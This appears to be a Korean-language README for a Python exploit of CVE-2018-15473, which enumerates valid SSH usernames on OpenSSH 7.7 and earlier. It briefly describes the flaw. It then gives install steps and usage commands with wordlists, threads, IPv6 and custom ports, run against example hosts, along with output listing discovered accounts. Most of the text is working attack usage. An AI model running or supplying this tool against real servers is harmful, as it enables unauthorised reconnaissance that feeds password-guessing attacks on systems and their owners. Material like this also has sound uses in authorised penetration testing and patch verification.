
Python 스크립트로 CVE-2018-15473을 악용하여 유효한 SSH 사용자 이름을 열거합니다. 이는 OpenSSH 7.7까지 존재하는 사용자 열거 취약점입니다.
OpenSSH 7.7까지의 버전은 잘못된 인증 사용자에 대한 탈출(bailout)을 요청이 포함된 패킷이 완전히 파싱된 후까지 지연시키지 않아 사용자 열거 취약점이 존재합니다. 이는 auth2-gss.c, auth2-hostbased.c, auth2-pubkey.c와 관련됩니다.
배포판에 맞는 openssl-dev 패키지를 설치해야 할 수 있습니다.
# NOTE: if you're installing on kali, you can skip the pip install; paramiko is already there.
git clone https://gitlab.com/epi052/cve-2018-15473.git
cd cve-2018-15473
pip install -r requirements.txt
# - OR -
pipenv install -r requirements.txt # if you're cool like that
chmod u+x ssh-username-enum.py
단일 사용자명
(cve-2018-15473)─> ./ssh-username-enum.py -u epi 192.168.1.2
[+] epi found!
10개의 스레드(기본값은 4)로 단어 목록 사용
(cve-2018-15473)─> ./ssh-username-enum.py -t 10 -w /usr/share/metasploit-framework/data/wordlists/unix_users.txt 192.168.1.2
[+] avahi found!
[+] avahi-autoipd found!
[+] backup found!
[+] daemon found!
[+] bin found!
------8<------
IPv6 주소, 포트 2222, 그리고 향상된 상세 출력!
(cve-2018-15473)─> ./ssh-username-enum.py -6 -p 2222 -v -w /usr/share/metasploit-framework/data/wordlists/unix_users.txt '::1'
[-] 4Dgifts not found
[-] demo not found
[-] checkfs not found
[-] anon not found
[-] EZsetup not found
[-] auditor not found
[-] demos not found
[-] OutOfBox not found
[-] checkfsys not found
[+] avahi found!
[-] diag not found
[-] ROOT not found
[-] checksys not found
[-] cmwlogin not found
[+] avahi-autoipd found!
------8<------